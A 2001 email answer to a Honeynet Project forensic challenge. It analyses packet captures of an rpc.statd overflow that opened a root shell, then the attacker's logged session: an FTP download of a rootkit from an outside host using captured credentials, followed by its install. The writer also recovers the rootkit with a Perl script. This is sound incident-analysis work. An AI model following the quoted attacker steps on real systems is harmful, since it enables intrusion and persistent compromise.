From jean.benoit@crc.u-strasbg.fr Sun Sep 23 08:00:24 2001 Date: Sat, 22 Sep 2001 00:00:40 +0200 From: Jean BENOIT To: project@honeynet.org Subject: scan 18 http://project.honeynet.org/scans/scan18/ 1.The attackers used rpc.statd attack to get into the system. What modifications did they make to the break in process to both automate and make the process faster? ---------------------------------------------------------------------- tcpdump -qnr snort-0315\@0005.log port 111 [...] 03:21:23.840485 211.185.125.124.3493 > 172.16.1.101.111: tcp 0 (DF) 03:21:23.857472 211.185.125.124.3495 > 172.16.1.103.111: tcp 0 (DF) 03:21:23.863680 172.16.1.103.111 > 211.185.125.124.3495: tcp 0 (DF) 03:21:23.863730 211.185.125.124.3494 > 172.16.1.102.111: tcp 0 (DF) 03:21:23.873607 211.185.125.124.3499 > 172.16.1.107.111: tcp 0 (DF) 03:21:23.874409 211.185.125.124.3500 > 172.16.1.108.111: tcp 0 (DF) 03:21:23.881889 172.16.1.108.111 > 211.185.125.124.3500: tcp 0 (DF) 03:21:23.893589 211.185.125.124.3497 > 172.16.1.105.111: tcp 0 (DF) 03:21:23.912707 211.185.125.124.3498 > 172.16.1.106.111: tcp 0 (DF) 03:21:24.093893 211.185.125.124.3495 > 172.16.1.103.111: tcp 0 (DF) 03:21:24.107053 211.185.125.124.3500 > 172.16.1.108.111: tcp 0 (DF) 03:21:24.452051 211.185.125.124.789 > 172.16.1.103.111: udp 56 03:21:24.455402 172.16.1.103.111 > 211.185.125.124.789: udp 28 (DF) 03:21:24.960063 211.185.125.124.3495 > 172.16.1.103.111: tcp 0 (DF) 03:21:24.961659 172.16.1.103.111 > 211.185.125.124.3495: tcp 0 (DF) 03:21:24.962270 172.16.1.103.111 > 211.185.125.124.3495: tcp 0 (DF) 03:21:24.995382 211.185.125.124.790 > 172.16.1.108.111: udp 56 03:21:25.042649 172.16.1.108.111 > 211.185.125.124.790: udp 28 03:21:25.217532 211.185.125.124.3495 > 172.16.1.103.111: tcp 0 (DF) 03:21:26.854705 211.185.125.124.3493 > 172.16.1.101.111: tcp 0 (DF) 03:21:26.855656 211.185.125.124.3494 > 172.16.1.102.111: tcp 0 (DF) 03:21:26.863772 211.185.125.124.3499 > 172.16.1.107.111: tcp 0 (DF) [...] ---------------------------------------------------------------------- Looks like the attacking host is 211.185.125.124. The attack consists of a rpc.statd exploit. It takes place in the middle of a heavy TCP portmap scan. The exploit seems to be based on UDP. Confirmation when focusing on the attack packets (we select the attacking host and udp) : ---------------------------------------------------------------------- $ tcpdump -n -r snort-0315\@0005.log udp and ip host 211.185.125.124 A. 03:21:24.452051 211.185.125.124.789 > 172.16.1.103.111: udp 56 B. 03:21:24.455402 172.16.1.103.111 > 211.185.125.124.789: udp 28 (DF) C. 03:21:24.730436 211.185.125.124.790 > 172.16.1.103.32773: udp 1076 D. 03:21:24.735452 172.16.1.103.32773 > 211.185.125.124.790: udp 32 (DF) E. 03:21:24.995382 211.185.125.124.790 > 172.16.1.108.111: udp 56 F. 03:21:25.042649 172.16.1.108.111 > 211.185.125.124.790: udp 28 G. 03:21:25.326967 211.185.125.124.791 > 172.16.1.108.931: udp 1076 H. 03:21:27.324233 211.185.125.124.791 > 172.16.1.108.931: udp 1076 I. 03:21:29.303241 211.185.125.124.791 > 172.16.1.108.931: udp 1076 ---------------------------------------------------------------------- 2 different hosts are found vulnerable : 172.16.1.103 and 172.16.1.108 Note the size of the 3rd UDP datagram (1076 bytes) Let's get more details : ---------------------------------------------------------------------- $ tcpdump -n -T rpc -r snort-0315\@0005.log udp and ip host 211.185.125.124 A. 03:21:24.452051 211.185.125.124.10a8a0a > 172.16.1.103.6f: 56 getport 100000.2 B. 03:21:24.455402 172.16.1.103.2049 > 211.185.125.124.17467914: reply ok 28 (DF) C. 03:21:24.730436 211.185.125.124.47f79f63 > 172.16.1.103.6f: 1076 set 100024.1 D. 03:21:24.735452 172.16.1.103.2049 > 211.185.125.124.1207410531: reply ok 32 (DF) E. 03:21:24.995382 211.185.125.124.412695da > 172.16.1.108.6f: 56 getport 100000.2 F. 03:21:25.042649 172.16.1.108.2049 > 211.185.125.124.1093047770: reply ok 28 G. 03:21:25.326967 211.185.125.124.1acf13bc > 172.16.1.108.6f: 1076 set 100024.1 H. 03:21:27.324233 211.185.125.124.1acf13bc > 172.16.1.108.6f: 1076 set 100024.1 I. 03:21:29.303241 211.185.125.124.1acf13bc > 172.16.1.108.6f: 1076 set 100024.1 ---------------------------------------------------------------------- A. The first UDP datagram is an RPC call from 211.185.125.124 to 172.16.1.103 : a request is send to the portmapper to determin the port to which some remote procedure is bound. B. The 2nd packet is the answer. The decoding of rpc in tcpdump is limited. But we can guess from the third packet that the request was about RPC 100024 (STAT) and that the answer was port 32773. C. The third packet (the fat one) is the RPC call to STAT and the actual exploit : an overly long crafted string triggering a buffer overflow on the rpc.statd deamon. D. The 4th packet is the answer. The host 172.16.1.103 accepted the call : that means that the exploit failed. The story is quite different for the next host : 172.16.1.108 E. request to portmap from 211.185.125.124 to 172.16.1.108 (RPC 100024 is on port 931 according to datagram 7) (see A.) F. answer (see B.) G. rpc CALL to STAT containing the crafted buffer to exploit rpc.statd There is no answer after datagram 7. This means that rpc.statd crashed and that the exploit possibly worked. H,I. The attacking programm continues to send the exploit. What comes next ? Less than 10 seconds after the exploit worked, a connection is issued from the attacking host to the exploited host to port 39168 : ---------------------------------------------------------------------- $ tcpdump -n -r snort-0315\@0005.log 'tcp port 39168 and tcp[13]&2=2' 03:21:36.312515 211.185.125.124.4450 > 172.16.1.108.39168: S 2624400382:2624400382(0) win 32120 (DF) (ttl 43, id 31657) ---------------------------------------------------------------------- The exploit installed a root shell on this port. Decoding the crafted udp packet reveals a shellcode designed by ron1n that binds a socket to port 39168, redirects input and output, then executes /bin/sh. The following dialog occured on the installed backdoor : [i kept only the timestamp, the source host and the string datas] [the first command issued (cd/; uname...) is part of the original exploit] ---------------------------------------------------------------------- $ tcpdump -n -x -r snort-0315\@0005.log tcp port 39168 and ip host 211.185.125.124 | hex2ascii 03:21:36.539731 211.185.125.124.4450 cd /; uname -a; id; 03:24:27.316025 172.16.1.108.39168 Linux asdf1 2.2.14-5.0 #1 Tue Mar 7 20:53:41 EST 2000 i586 unknown 03:24:27.552084 172.16.1.108.39168 uid=0(root) gid=0(root) 03:36:04.432505 211.185.125.124.4450 ftp -v ftp.home.ro 03:36:07.903756 172.16.1.108.39168 Connected to ftp.home.ro. 220- 03:36:08.159828 172.16.1.108.39168 220- 220- H O M E . R O 220- 220- This server is for HOME.RO members only. 220- Go to http://www.home.ro/ to register. 220- 220- No anonymous access allowed. 220- 220- 220 ProFTPD 1.2.0rc3 Server (HOME.RO Members FTP) [193.231.236.41] 03:36:12.098000 211.185.125.124.4450 soane 03:36:12.318567 172.16.1.108.39168 Name (ftp.home.ro:root): 331 Password required for soane. 03:36:15.106117 172.16.1.108.39168 Password: 03:36:16.746468 211.185.125.124.4450 i2ttgcj1d 03:36:16.957281 172.16.1.108.39168 230 User soane logged in. 03:36:20.815859 211.185.125.124.4450 get lk.tgz 03:36:21.236721 172.16.1.108.39168 Remote system type is UNIX. Using binary mode to transfer files. local: lk.tgz remote: lk.tgz 200 PORT command successful. 03:36:22.276426 172.16.1.108.39168 150 Opening BINARY mode data connection for lk.tgz (520333 bytes). 03:36:57.169576 172.16.1.108.39168 226 Transfer complete. 03:44:51.590951 211.185.125.124.4450 bye 03:44:51.597064 172.16.1.108.39168 520333 bytes received in 35.5 secs (14 Kbytes/sec) 421 Idle Timeout (240 seconds): closing control connection. 03:44:59.448156 211.185.125.124.4450 tar -zxvf lk.tgz 03:44:59.532526 172.16.1.108.39168 last/ 03:44:59.792144 172.16.1.108.39168 tar: Archive contains future timestamp 2002-02-08 07:08:13 last/ssh last/pidfile last/install last/linsniffer last/cleaner last/inetd.conf last/lsattr last/services last/sense last/ssh_config last/ssh_host_key last/ssh_host_key.pub last/ssh_random_seed last/sshd_config last/sl2 last/last.cgi last/ps last/netstat last/ifconfig last/top last/logclear last/s 03:45:00.180629 172.16.1.108.39168 last/mkxfs 03:45:08.445216 211.185.125.124.4450 cd last 03:45:11.543572 211.185.125.124.4450 ./install 03:45:11.644575 172.16.1.108.39168 ********* Instalarea Rootkitului A Pornit La Drum ********* 03:45:11.920384 172.16.1.108.39168 ********* Mircea SUGI PULA ******************************** ********* Multumiri La Toti Care M-Au Ajutat ************** ********* Lemme Give You A Tip : ************************** ********* Ignore everything, call your freedom ************ ********* Scream & swear as much as you can *************** ********* Cuz anyway nobody will hear you and no one will * ********* Care about you ********************************** Are Make ! Are Gcc ! Nu Are Ssh ! * Inlocuim nestat ... alea alea 03:45:12.206949 211.185.125.124.4450 03:45:12.208448 172.16.1.108.39168 * Gata... * Dev... * Gata * Facem Director...Si Mutam Alea.. * Copiem ssh si alea * Adaugam In Startup:) ... 03:45:14.134335 172.16.1.108.39168 * Luam Informatiile dorite ... 03:45:14.424201 172.16.1.108.39168 * Gata ! Trimitem Mailul ...Asteapta Te Rog 03:45:14.752153 172.16.1.108.39168 * Am trimis mailul ... stergem fisierele care nu mai trebuie . * G A T A * * That Was Nice Last ---------------------------------------------------------------------- I think this part is conducted manually. It doesn't look like an automatic process to me. In conclusion, the automatization of the break-in process is conducted by several processes running in parallel : - the tcp scan process on port 111 creates a list of vulnerable hosts which is feeded to a second process - for each host found vulnerable, the second process sends a request to portmap to determin on which port rpc.statd is. And it launches an exploit on this port. - an user-friendly interface gives the attacker the control of the compromised host (we can imagine many things : an xterm that starts telnet on the installed backdoor, a tail -f on a log file spitting the exact command to cut and paste on your shell...) >From now on, the attacker procedes manually. 2.What system/country did the badguys come in from? The attack came from a host in South-Korea ; The IP address 211.185.125.124 doesn't resolve. It belongs to the following netblock : Querying: whois.apnic.net % Rights restricted by copyright. See http://www.apnic.net/db/dbcopyright.html % (whois6.apnic.net) inetnum: 211.172.0.0 - 211.199.255.255 netname: KRNIC-KR descr: KRNIC descr: Korea Network Information Center country: KR ... 3.What nationality are the badguys, and how were you able to determine this? They are Romanian : - The FTP server used is in romania (ftp.home.ro alias s1.home.ro, ip address 193.231.236.41) - The rootkit install script is in romanian 4.What do the answers to questions #1 and #2 tell us about the tactics the badguys are using? They use compromised host to attack other hosts. They use automated tools to "own" quickly a massive number of hosts. 5.What did you learn from this challenge? I developped some tools I need to dwelve into packet decoding libraries. Tcpdump has its limits. 6.How long did this challenge take you? About 6 hours Bonus Question: Can you recover the blackhat's rootkit from the Snort binary log file? If so, how? + First a quick search for "ftp" : $ strings snort-0315\@0005.log|grep -i ftp ftp -v ftp.home.ro Connected to ftp.home.ro. 220 ProFTPD 1.2.0rc3 Server (HOME.RO Members FTP) [193.231.236.41] 220 ProFTPD 1.2.0rc3 Server (HOME.RO Members FTP) [193.231.236.41] Name (ftp.home.ro:root): 331 Password required for soane. Looks like ftp.home.ro (193.231.236.41) is the ftp server used + Find the ftp transfer : mulot:~/ tcpdump -nr snort-0315\@0005.log 'tcp port ftp-data and tcp[13]&2=2' 03:36:21.451950 193.231.236.41.20 > 172.16.1.108.1027: S 2604376511:2604376511(0) win 32120 (DF) The ftp server (193.231.236.41) establishes a data connexion on service port 1027 on the compromised host. To keep only data packets, we ignore packets where the SYN or FIN flag are set : $ tcpdump -xnr snort-0315\@0005.log 'tcp src port 20 and tcp[13]&3=0' In order to recover the transfer data, we need to set an offset of 52 bytes : 20 bytes for ip header + 32 bytes for tcp header (This is bad. Next time, i'll write something better that checks for the actuel header size.) We pipe it through a small perl program that filters tcpdump hex output and does just this : ---------------------------------------------------------------------- #!/usr/bin/perl -n if (/^\s+[0-9a-f]/) { # tcpdump hex output chop; s/\s//g; # remove all spaces if($start_of_data==0) { $start_of_data=1; $count=-52; # ip header:20 + tcp header:32 } while($_) { ($hex, $_)=/^(..)(.*)$/;# get the first 2 hex digit $byte=hex($hex); # convert them in decimal $count++; if($count>0 && $count<=$pktlen) { print F pack("c", $byte); # display the character } } } elsif(/^[0-2][0-9]:.* (\d+):\d+\((\d+)\) ack/) { # tcpdump normal output $seq=$1; $pktlen=$2; open(F,">pkt/$seq") || die ("cannot open pkt/$seq"); print ; $start_of_data=0; } ---------------------------------------------------------------------- We create a file for each packet in the "pkt/" directory (the directory should be created beforehand and empty). We then sort the packets and concatenate them in a file : cd pkt/ ls |sort -n | xargs cat >../file2.tgz cd .. + Test : tar tvzf file2.tgz drwxr-xr-x 1031/users 0 2001-02-26 21:40:30 last/ tar: Archive contains future timestamp 2002-02-08 14:08:13 -rwxr-xr-x 1031/users 611931 2002-02-08 14:08:13 last/ssh -rw-r--r-- 1031/users 1 2001-02-26 16:29:58 last/pidfile -rwx------ 1031/users 3713 2001-03-03 04:08:37 last/install -rwx------ 1031/users 7165 2001-02-26 16:22:50 last/linsniffer -rwxr-xr-x 1031/users 1345 1999-09-09 17:57:11 last/cleaner -rw-r--r-- 1031/users 3278 2001-01-27 16:11:32 last/inetd.conf -rwxr-xr-x 1031/users 79 2001-02-26 16:28:40 last/lsattr -rw-r--r-- 1031/users 11407 2001-01-27 16:11:44 last/services -rwxr-xr-x 1031/users 4060 2001-02-26 16:22:55 last/sense -rw-r--r-- 1031/users 880 2000-10-22 21:29:44 last/ssh_config -rw------- 1031/users 540 2000-10-22 21:29:44 last/ssh_host_key -rw-r--r-- 1031/users 344 2000-10-22 21:29:44 last/ssh_host_key.pub -rw------- 1031/users 512 2000-10-22 21:29:44 last/ssh_random_seed -rw-r--r-- 1031/users 688 2001-02-26 16:29:51 last/sshd_config -rwx------ 1031/users 8268 2001-02-26 16:22:59 last/sl2 -rwxr-xr-x 1031/users 4620 2001-02-26 16:23:10 last/last.cgi -rwxr-xr-x 1031/users 33280 2001-02-26 16:23:33 last/ps -rwxr-xr-x 1031/users 35300 2001-02-26 16:23:42 last/netstat -rwxr-xr-x 1031/users 19840 2001-02-26 16:23:47 last/ifconfig -rwxr-xr-x 1031/users 53588 2001-02-26 16:23:55 last/top -rwx------ 1031/users 75 2001-02-26 16:24:03 last/logclear -rw-r--r-- root/root 708 2001-03-03 04:05:12 last/s -rwxr-xr-x 1031/users 632066 2001-02-26 15:46:04 last/mkxfs -- Jean BENOIT